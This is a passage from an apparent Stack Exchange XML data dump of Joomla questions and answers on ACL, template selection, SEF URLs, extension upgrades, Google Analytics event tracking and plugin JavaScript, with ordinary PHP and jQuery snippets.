the component attribute, but this just caused the entire permissions control to go blank. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So does anyone know if what I am trying to do is possible within the com_config component view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason I want to have this at the component level is because I'm trying to achieve full cascading ACL. Where in the super admin can set ACL to the component-&gt; the view-&gt; the record. Which will allow me to hid sections of the component that are not relative to the current users access permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you know how this could be done using com_config please let me know. =^D I'll be searching for a solution in the mean time, if I find it I'll post. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Happy Joomla!ng &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-06-12T23:00:55.053" Title="Is there a way to have multiple component level ACL rules display and save using com_config?" Tags="|cms|component|acl|access|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2276" PostTypeId="2" ParentId="2200" CreationDate="2014-06-12T20:04:03.703" Score="7" Body="&lt;p&gt;I may be wrong but I don't think it will work at all before the routing part is done. Simply because the active template depends on the routing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do it in the &lt;code&gt;onAfterInitialise&lt;/code&gt; event for whatever reason, you likely need to query the database table &lt;code&gt;#__menu&lt;/code&gt; and read the &lt;code&gt;template_style_id&lt;/code&gt; for the current &lt;code&gt;Itemid&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-12T20:04:03.703" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2277" PostTypeId="2" ParentId="1158" CreationDate="2014-06-12T22:55:16.273" Score="2" Body="&lt;p&gt;Here is some useful information I have found on upgrading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For one, if the website was originally in 1.6, then upgraded to 2.5 then even in the latest versions of 2.5 all extensions will still work. However to upgrade to 3.x requires a reinstall. This is because the differences in the &quot;update&quot; area means that if it was 1.6 then the update server will not properly read updates, so if it was a 1.6 component it, at least in most cases (I have seen this in DJ Image Slider and BreezingForms) will not update once its upgraded to 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a manual upgrade of these extensions is needed at some point in its lifetime in 2.5. I believe depending on the extension there could be issues with the normal sql update as well, but just something to be aware of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes extensions may be renamed or &quot;renewed&quot; which will cause Joomla to at times read it as a new component, leading to multiple entries of the same component, old and new. If you uninstall one it still uses the same database tables, so it clears them if you already installed them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Idea:&#xA;&lt;em&gt;So one thing I would think would be useful in this case is an add on to the extension manager to check for extensions meant for older versions, to make them easily visible, this could be done by looking at the last update &quot;date&quot; and was it before a potential breaking change in Joomla if the current version is past that version.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way in the case of a site going from 1.6 to 2.5 then to 3.x at any point can force a reinstall that would therefore clear data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Idea:&#xA;&lt;em&gt;If a &quot;reinstall&quot; were added beside update, using keeping track of the older version and its update server, or a custom url/upload to basically uninstall the component without clearing data. Then reinstall it while using the sql updates to update the database tables would be extremely handy.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a site that was originally 1.6 as it would show these issues more often, it can happen with sites that started out in 2.5 as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This explains many problems that can come up from extensions that may have never upgraded to add compatibility to 3.x, plugins are the worst as even in the admin panel an error in those can make the admin panel unusable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another idea:&#xA;&lt;em&gt;The Joomla update manager can automatically disable all third party plugins other then some (like akeeba, since it tracks updates) then update. After it re-enables all plugins again but &quot;checks&quot; system plugins for errors. What I mean is it auto triggers various events with a try/catch to see if there is an error, if there is it disables and notifies.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this all assumes no core issues, which is what should not normally happen in an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The ideas I posted above is meant for the dev team, the rest is good information for anyone updating.&lt;/strong&gt;&#xA;The ideas I have put up should even be able to allow updates without uninstalling/disabling extensions first that could potentially add far more work to the process. With some additions to the already great updater, even full auto updates (kinda like wordpress) may be possible in the future.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-06-12T22:55:16.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2278" PostTypeId="2" ParentId="2275" CreationDate="2014-06-12T23:00:55.053" Score="0" Body="&lt;p&gt;Not sure if it's a typo but the access.xml is missing the closing &lt;code&gt;&amp;lt;/access&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never tried but I don't think you can have multiple permissions fields in the same config. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;component&lt;/code&gt; section is used on the component level options.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;category&lt;/code&gt; one is used by com_categories for the single category permissions.&lt;/li&gt;&#xA;&lt;li&gt;The others may be used for single item permissions. Like in case of &lt;code&gt;com_content&lt;/code&gt; you have an &lt;code&gt;article&lt;/code&gt; section which is used to set the permissions for each article individually.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you need separate ACL for each views, you need to create own ACL rules and don't use the core ones. Like &lt;code&gt;com_babelu_exams.level.create&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-12T23:00:55.053" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2279" PostTypeId="1" AcceptedAnswerId="2280" CreationDate="2014-06-12T23:26:39.550" Score="9" ViewCount="910" Body="&lt;p&gt;I have a client who has contact forms on 5 different pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would like to track the submissions for each page with Google Analytics in a way that allows to track from which specific page the users submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this best set up?&lt;/p&gt;&#xA;" OwnerUserId="27" LastEditorUserId="159" LastEditDate="2014-06-13T05:36:47.343" LastActivityDate="2014-06-13T13:33:46.607" Title="Tracking contact form submissions for different pages with Google Analytics" Tags="|google-analytics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2280" PostTypeId="2" ParentId="2279" CreationDate="2014-06-13T00:27:46.070" Score="6" Body="&lt;p&gt;You can implement Analytics Event Tracking (E.g. Click on Contact Button).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#&quot; onClick=&quot;_gaq.push(['_trackEvent', 'Contact', 'Confirmed', 'First ever contact']);&quot;&amp;gt;Submit&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/analytics/devguides/collection/gajs/eventTrackerGuide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you can add Javascript source code in each contact page. As the simplest posible way, you can install &lt;strong&gt;NoNumber Sourcerer&lt;/strong&gt; (&lt;a href=&quot;http://www.nonumber.nl/extensions/sourcerer&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/sourcerer&lt;/a&gt;), and a snippet like this to associate the event with the button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( '#ContactButton' ).click(function( event ) {&#xA;  _gaq.push(['_trackEvent', 'Contact', 'Confirmed', 'First ever contact']);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2014-06-13T12:09:00.333" LastActivityDate="2014-06-13T12:09:00.333" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2281" PostTypeId="2" ParentId="2279" CreationDate="2014-06-13T03:17:23.577" Score="2" Body="&lt;p&gt;Google Analytics Event Tracking is the way to go.  Here is a tutorial on how to setup.  You can put the onClick code in the button or input you are using for Submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.yellowwebmonkey.com/developer-blog/item/how-to-add-event-tracking-with-google-analytics&quot; rel=&quot;nofollow&quot;&gt;http://www.yellowwebmonkey.com/developer-blog/item/how-to-add-event-tracking-with-google-analytics&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-06-13T03:17:23.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2282" PostTypeId="1" AcceptedAnswerId="2308" CreationDate="2014-06-13T03:33:42.627" Score="7" ViewCount="845" Body="&lt;p&gt;I've got a website using Joomla 3.x. The menu items are as follow:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Home&lt;/li&gt;&#xA;&lt;li&gt;Category A (alias: cat-a)&lt;/li&gt;&#xA;&lt;li&gt;Category B (alias: cat-b)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;where Category A and B are in Category List type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have set up two categories, Category A and Category B (same alias as menu items) and both contain a few articles which it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Category A (alias: cat-a)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Article 1 (alias: art-1)&lt;/li&gt;&#xA;&lt;li&gt;Article 2 (alias: art-2)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Category B (alias: cat-b)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Article 3 (alias: art-3)&lt;/li&gt;&#xA;&lt;li&gt;Article 4 (alias: art-4)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At first, I expect when I visit Article 1, the URL would be something like: &lt;a href=&quot;http://www.example.com/cat-a/art-1&quot;&gt;http://www.example.com/cat-a/art-1&lt;/a&gt;&#xA;and good news is it does happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with the same settings, it looks differently when visiting Article 3: &lt;a href=&quot;http://www.example.com/art-3&quot;&gt;http://www.example.com/art-3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is, how can I make the URL of Article 3 looks like that of Article 1?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I didn't use any extension for SEF, just the one included in Joomla distribution.&lt;/p&gt;&#xA;" OwnerUserId="1522" LastEditorUserId="1522" LastEditDate="2014-06-13T06:44:19.823" LastActivityDate="2016-07-11T09:48:00.840" Title="Joomla 3.x Search Engine Friendly URL for Articles" Tags="|seo|url|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2284" PostTypeId="2" ParentId="2200" CreationDate="2014-06-13T09:21:23.013" Score="1" Body="&lt;p&gt;This works only if SEF is OFF&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Get the assigned frontend template name&#xA; *&#xA; * @return  string  - template name&#xA; */&#xA;public $assignedTemplate = '';&#xA;&#xA;public function getAssignedTemplate() {&#xA;&#xA;    $jinput   = JFactory::getApplication()-&amp;gt;input;&#xA;    $current  =  $jinput-&amp;gt;getInt('Itemid');&#xA;&#xA;    $db    = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery( true );&#xA;&#xA;    $query&#xA;    -&amp;gt;select($db-&amp;gt;quoteName(array('m.template_style_id', 't.template')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__menu', 'm'))&#xA;    -&amp;gt;join('INNER', $db-&amp;gt;quoteName('#__template_styles', 't') . ' ON (' . $db-&amp;gt;quoteName('m.template_style_id') . ' = ' . $db-&amp;gt;quoteName('t.id') . ')')&#xA;    -&amp;gt;where($db-&amp;gt;quoteName('m.id') . ' = '.$current.'');&#xA;&#xA;&#xA;    // Make sure there aren't any errors&#xA;    try{&#xA;&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $currentTemplate = $db-&amp;gt;loadObjectList();&#xA;        if($currentTemplate){&#xA;            $this-&amp;gt;assignedTemplate = $currentTemplate[0]-&amp;gt;template;&#xA;        }&#xA;        //&#xA;&#xA;    }catch (RuntimeException $e){&#xA;        echo $e-&amp;gt;getMessage();&#xA;        exit;&#xA;    }&#xA;&#xA;    return $this-&amp;gt;assignedTemplate;&#xA;}&#xA;&#xA;&#xA;&#xA;public function onAfterInitialise() {&#xA;&#xA;    echo $this-&amp;gt;getAssignedTemplate();&#xA;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="200" LastEditorUserId="200" LastEditDate="2014-06-16T19:21:06.243" LastActivityDate="2014-06-16T19:21:06.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2285" PostTypeId="1" AcceptedAnswerId="2286" CreationDate="2014-06-13T11:14:41.610" Score="4" ViewCount="563" Body="&lt;p&gt;For whatever reason, I can't make the &lt;strong&gt;JCE Editor&lt;/strong&gt; appearing for my &lt;strong&gt;custom usergroups&lt;/strong&gt; in &lt;strong&gt;front-end&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried so many combinations and still can't make it work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment I have ended up with only the &lt;strong&gt;Default JCE Profile&lt;/strong&gt;, assigned to all the groups except the guest group and I also gave extended JCE permissions to these groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But still the editor (in front-end) will display only to groups that have backend access and not to those that have only front-end access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked it also with the &lt;strong&gt;&lt;a href=&quot;http://aclmanager.net/&quot; rel=&quot;nofollow&quot;&gt;ACL manager&lt;/a&gt;&lt;/strong&gt; but I didn't noticed anything apparently wrong... &#xA;Another thing to note is that there are no any JS conflicts that could cause any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible that I am missing something obvious, ACL related, or a setting somewhere that manages editor access to the front-end?&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2015-12-02T07:33:46.137" LastActivityDate="2015-12-02T07:33:46.137" Title="JCE not appearing for custom front-end user-groups" Tags="|acl|jce|bugs|front-end|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2286" PostTypeId="2" ParentId="2285" CreationDate="2014-06-13T12:33:21.933" Score="3" Body="&lt;p&gt;Guys after messing around with the ACL in all other places, and checking for any kind of possible other issues for some hours, finally I managed to sort this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue was caused by the &lt;strong&gt;ACL settings&lt;/strong&gt; on the &lt;strong&gt;JCE Editor plugin&lt;/strong&gt;, which is being called when it comes to load the editor.&#xA;It had access level to Administrator, so any front-end users were unable to get access and load the editor.&lt;br /&gt;&lt;br /&gt;&#xA;I set its access to &lt;strong&gt;Public&lt;/strong&gt; and now I have the editor loading on Front-end for all my usergroups.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-06-13T13:24:54.227" LastActivityDate="2014-06-13T13:24:54.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2287" PostTypeId="1" AcceptedAnswerId="2366" CreationDate="2014-06-13T12:42:17.747" Score="1" ViewCount="114" Body="&lt;p&gt;I am using the &lt;a href=&quot;http://herdboy.com/team-blog/item/eu-cookies-and-joomla-the-cookie-monster&quot; rel=&quot;nofollow&quot;&gt;plugin 'Cookie Monster' by herdboy&lt;/a&gt; which generates a cookie notification message displayed as either a div at the top/bottom of your page or as an overlay. The basic plugin options limit the notification message positioning to either the top of your page or at the bottom (this is illustrated in the link). However, I want to set the message to appear inside a specific div of my choosing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see that inside the plugin's JS file, your choice in the basic options means the message will either be positioned using &lt;code&gt;$('body').prepend&lt;/code&gt; or &lt;code&gt;$('body').append&lt;/code&gt;. I edited the js file to replace &lt;code&gt;'body'&lt;/code&gt; with &lt;code&gt;'#myDiv'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that even after having changed the plugin's JS file, the message continues to appear as the first div in the body tag (ie. prepended to the body). I have checked all other files in the &lt;code&gt;plugins/system/cookiemonster&lt;/code&gt; location, and the only file which seems to reference injecting the message markup into the site is the JS file. I can't see any basic JS errors, and it is definitely not a caching issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it that I am potentially missing?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2016-07-11T09:46:12.840" Title="How to reposition the notification message generated by CookieMonster plugin" Tags="|development|extensions|plugin|javascript|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2288" PostTypeId="1" AcceptedAnswerId="2289" CreationDate="2014-06-13T12:47:43.053" Score="2" ViewCount="358" Body="&lt;p&gt;(Migrated this question from Stack Overflow)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on a client's website which is based on the Joomla 2.5 framework. With SEF turned off (the in built Joomla version) the URL is this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://(domain)/index.php?option=com_cmgroupbuying&amp;amp;view=alldeals&amp;amp;Itemid=424&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The user has a plugin, I have built into a plugin the line to make sure this plugin only fires when the component CMGroupbuying is in use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$component = JRequest::getCmd('option'); &#xA;if($component =='com_cmgroupbuying')&#xA;               { etc etc }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With SEF turned off, this works beautifully. However when I enable SEF the URL turns into&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://(domain)/the-deals&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the detection script stops working as joomla just no longer sees the Request::getCmd('option'); being equal to com_cmgroupbuying which to be honest, blows me away as it renders getCmd totally useless. I have seen other prople suffer with this in the part but not found any definitive fix&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone offer a solution to stop this failure of Joomla, either by some extra lines in the DEFAULT htaccess fault to retain this information for joomla to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternative solution, though I have not found anything that does this, is to limit the plugin to only certain menu items like you can do with a module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the full code of the plugin. I have not included the helper as this is just a mass list of all agents for lookups.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /**  * @package     CMMobileDetection plugin  * @copyright   Copyright (C) 2012-2013 CMExtension Team http://www.cmext.vn/  * @license     http://www.gnu.org/licenses/gpl-3.0.html GNU/GPL  */&#xA;&#xA;// No direct access defined('_JEXEC') or die;&#xA;&#xA;jimport('joomla.plugin.plugin');&#xA;&#xA;require_once 'helper.php';&#xA;&#xA;class plgSystemCMMobileDetection extends JPlugin {&#xA;    public function onAfterInitialise()&#xA;    {&#xA;        if(JPATH_BASE != JPATH_ADMINISTRATOR)&#xA;        {&#xA;            $browser        = new Mobile_Detect();&#xA;            $mobileCookie   = JFactory::getApplication()-&amp;gt;input-&amp;gt;cookie-&amp;gt;get('cmmobileRequestDesktop',&#xA;-1, 'int');&#xA;            $component      = JRequest::getVar('option');&#xA;&#xA;            if(($browser-&amp;gt;isMobile() || $browser-&amp;gt;isTablet()) &amp;amp;&amp;amp; ($mobileCookie == 0 || $mobileCookie == -1) &amp;amp;&amp;amp; $component == 'com_cmgroupbuying')&#xA;            {&#xA;                $configuration  = $this-&amp;gt;getConfiguration();&#xA;                $db             = JFactory::getDBO();&#xA;                $query          = &quot;SELECT params FROM #__template_styles WHERE client_id = 0 AND template = &quot;.$db-&amp;gt;Quote($configuration['mobile_template']).&quot; ORDER BY id LIMIT 1&quot;;&#xA;                $db-&amp;gt;setQuery($query);&#xA;                $params         = $db-&amp;gt;loadResult();&#xA;&#xA;                if(empty($params))&#xA;                    $params = '{}';&#xA;&#xA;                JFactory::getApplication()-&amp;gt;setTemplate($configuration['mobile_template'], $params);&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    public function getConfiguration()&#xA;    {&#xA;        $db             = JFactory::getDBO();&#xA;        $query          = 'SELECT * FROM #__cmgroupbuying_configuration WHERE id = 1';&#xA;        $db-&amp;gt;setQuery($query);&#xA;        $configuration  = $db-&amp;gt;loadAssoc();&#xA;&#xA;        if($db-&amp;gt;getErrorNum())&#xA;        {&#xA;            //JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;            return false;&#xA;        }&#xA;&#xA;        return $configuration;&#xA;    } } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does include my alteration, which basically has one function, stop the plugin loading on ANY page that is NOT using option=com_cmgroupbuying as it interferes with the mobile template of all the other pages. As already stated, this works beautifully when SEF is turned off.&lt;/p&gt;&#xA;" OwnerUserId="1528" LastEditorUserId="1629" LastEditDate="2014-08-01T10:54:31.157" LastActivityDate="2014-08-01T10:54:31.157" Title="Joomla 2.5 SEF and JRequest" Tags="|component|plugin|sef|.htaccess-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2289" PostTypeId="2" ParentId="2288" CreationDate="2014-06-13T13:13:28.947" Score="1" Body="&lt;p&gt;May I ask you what plugin event you are using? Because your code should work fine after the routing is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the routing, Joomla parses the URL and maps them internally back to a non SEF URL. Which will get you the option, Itemid and that stuff.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-13T13:13:28.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2291" PostTypeId="2" ParentId="1076" CreationDate="2014-06-13T16:54:45.283" Score="0" Body="&lt;p&gt;I'm reluctant to publish this as &quot;my answer&quot; as it will probably show how a bad PHP and Joomla programmer I am, but, as it works... here it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static function GetCategoriesWithChildren($categories) {&#xA;   $results = array();&#xA;   $db = JFactory::getDbo();&#xA;   foreach ($categories as $baseCategory)&#xA;   {&#xA;      $query = $db-&amp;gt;getQuery(true);&#xA;      $query-&amp;gt;select('c.path');&#xA;      $query-&amp;gt;from('#__categories AS c');&#xA;      $query-&amp;gt;where('c.published &amp;gt; 0');&#xA;      $query-&amp;gt;where('c.id = ' . $baseCategory);&#xA;      $db-&amp;gt;setQuery($query);&#xA;      $fathersList = $db-&amp;gt;loadObjectList();&#xA;      foreach ($fathersList as $father)&#xA;      {&#xA;         $results[] = $baseCategory; // This adds the father only if it is published&#xA;         $query = $db-&amp;gt;getQuery(true);&#xA;         $query-&amp;gt;select('c.id');&#xA;         $query-&amp;gt;from('#__categories AS c');&#xA;         $query-&amp;gt;where('c.published &amp;gt; 0');&#xA;         $query-&amp;gt;where('c.path LIKE \'' . $father-&amp;gt;path . '/%\'');&#xA;         $db-&amp;gt;setQuery($query);&#xA;         $children = $db-&amp;gt;loadObjectList();&#xA;         foreach ($children as $category)&#xA;         {&#xA;            $results[] = $category-&amp;gt;id;&#xA;         }&#xA;      }&#xA;   }&#xA;   return $results;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The function takes an array of categories IDs as its argument and returns an array containing all those IDs and the IDs of any children category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could make it better, I will be sincerely grateful and change my &quot;selected answer&quot; to it. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;smz&lt;/p&gt;&#xA;" OwnerUserId="322" LastEditorUserId="322" LastEditDate="2014-06-14T01:13:03.347" LastActivityDate="2014-06-14T01:13:03.347" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2292" PostTypeId="2" ParentId="2287" CreationDate="2014-06-13T17:39:25.920" Score="0" Body="&lt;p&gt;Almost hard to get valid answers on a such questions, without someone have access to the whole page and code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, a thing you have to ensure is that the &lt;code&gt;#yourDiv&lt;/code&gt; element exists and is unique in the &lt;code&gt;DOM&lt;/code&gt;. If your changes in the &lt;code&gt;plugin js&lt;/code&gt; would have been okay, it probably wouldn't show at all, if your element wasn't there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative workaround, although I don't know where you want the Cookies message appear, I could suggest to create some &lt;code&gt;css&lt;/code&gt; overrides for it, giving it absolute or fixed position, to place it wherever you want, and some &lt;code&gt;box-shadow&lt;/code&gt; mixed with other &lt;code&gt;css&lt;/code&gt; tricks  to make it stand out of the rest of the content.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-11T09:46:12.840" LastActivityDate="2016-07-11T09:46:12.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2293" PostTypeId="2" ParentId="2282" CreationDate="2014-06-13T18:04:38.313" Score="0" Body="&lt;p&gt;For a achieving something like this, you need to have the corresponding menu items of type &lt;strong&gt;&lt;code&gt;Articles -&amp;gt; Category Blog&lt;/code&gt;&lt;/strong&gt; for every category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;menu item alias&lt;/code&gt; will be responsible for the the URL part of the category, while the articles' URL part, will be fulfilled by the &lt;code&gt;article's alias&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side notes that may be part of your issue are:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a menu item linking directly to an article, then most probably this article will be accessed directly via this menu-item and will bypass the category menu-item URL.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-11T09:48:00.840" LastActivityDate="2016-07-11T09:48:00.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2294" PostTypeId="2" ParentId="861" CreationDate="2014-06-13T18:53:21.460" Score="1" Body="&lt;p&gt;It was just the &lt;code&gt;browser proxy&lt;/code&gt; that was redirecting to an ugly url that &lt;code&gt;joomla's&lt;/code&gt; &lt;code&gt;router&lt;/code&gt; couldnt translate.&lt;/p&gt;&#xA;" OwnerUserId="420" LastActivityDate="2014-06-13T18:53:21.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2296" PostTypeId="1" AcceptedAnswerId="2297" CreationDate="2014-06-14T01:34:25.630" Score="2" ViewCount="132" Body="&lt;p&gt;I'm converting a static website to a Joomla 3.3 template. which has 1 level dropdown box javascript menu this is the function included in my &quot;index.html&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;        $(function () {&#xA;            /**&#xA;            * for each menu element, on mouseenter,&#xA;            * we enlarge the image, and show both sdt_active span and&#xA;            * sdt_wrap span. If the element has a sub menu (sdt_box),&#xA;            * then we slide it - if the element is the last one in the menu&#xA;            * we slide it to the left, otherwise to the right&#xA;            */&#xA;            $('#sdt_menu &gt; li').bind('mouseenter', function () {&#xA;                var $elem = $(this);&#xA;                $elem.find('img')&#xA;                     .stop(true)&#xA;                     .animate({&#xA;                         'width': '170px',&#xA;                         'height': '170px',&#xA;                         'left': '0px'&#xA;                     }, 400, 'easeOutBack')&#xA;                     .andSelf()&#xA;                     .find('.sdt_wrap')&#xA;                     .stop(true)&#xA;                     .animate({ 'top': '140px' }, 500, 'easeOutBack')&#xA;                     .andSelf()&#xA;                     .find('.sdt_active')&#xA;                     .stop(true)&#xA;                     .animate({ 'height': '170px' }, 300, function () {&#xA;                         var $sub_menu = $elem.find('.sdt_box');&#xA;                         if ($sub_menu.length) {&#xA;                             var left = '170px';&#xA;                             if ($elem.parent().children().length == $elem.index() + 1)&#xA;                                 left = '-170px';&#xA;                             $sub_menu.show().animate({ 'left': left }, 200);&#xA;                         }&#xA;                     });&#xA;            }).bind('mouseleave', function () {&#xA;                var $elem = $(this);&#xA;                var $sub_menu = $elem.find('.sdt_box');&#xA;                if ($sub_menu.length)&#xA;                    $sub_menu.hide().css('left', '0px');&#xA;&#xA;                $elem.find('.sdt_active')&#xA;                     .stop(true)&#xA;                     .animate({ 'height': '0px' }, 300)&#xA;                     .andSelf().find('img')&#xA;                     .stop(true)&#xA;                     .animate({&#xA;                         'width': '0px',&#xA;                         'height': '0px',&#xA;                         'left': '85px'&#xA;                     }, 400)&#xA;                     .andSelf()&#xA;                     .find('.sdt_wrap')&#xA;                     .stop(true)&#xA;                     .animate({ 'top': '15px' }, 500);&#xA;            });&#xA;        });&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it uses easing.js as well as i was included in the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;since Joomla's index is in PHP so I've included easing.js as following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$doc-&gt;addScript('/templates/' . $this-&gt;template . '/js/easing.js', 'text/javascript');&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and I've copied and pasted the function to main.js and loaded it to my index.php, but it didn't 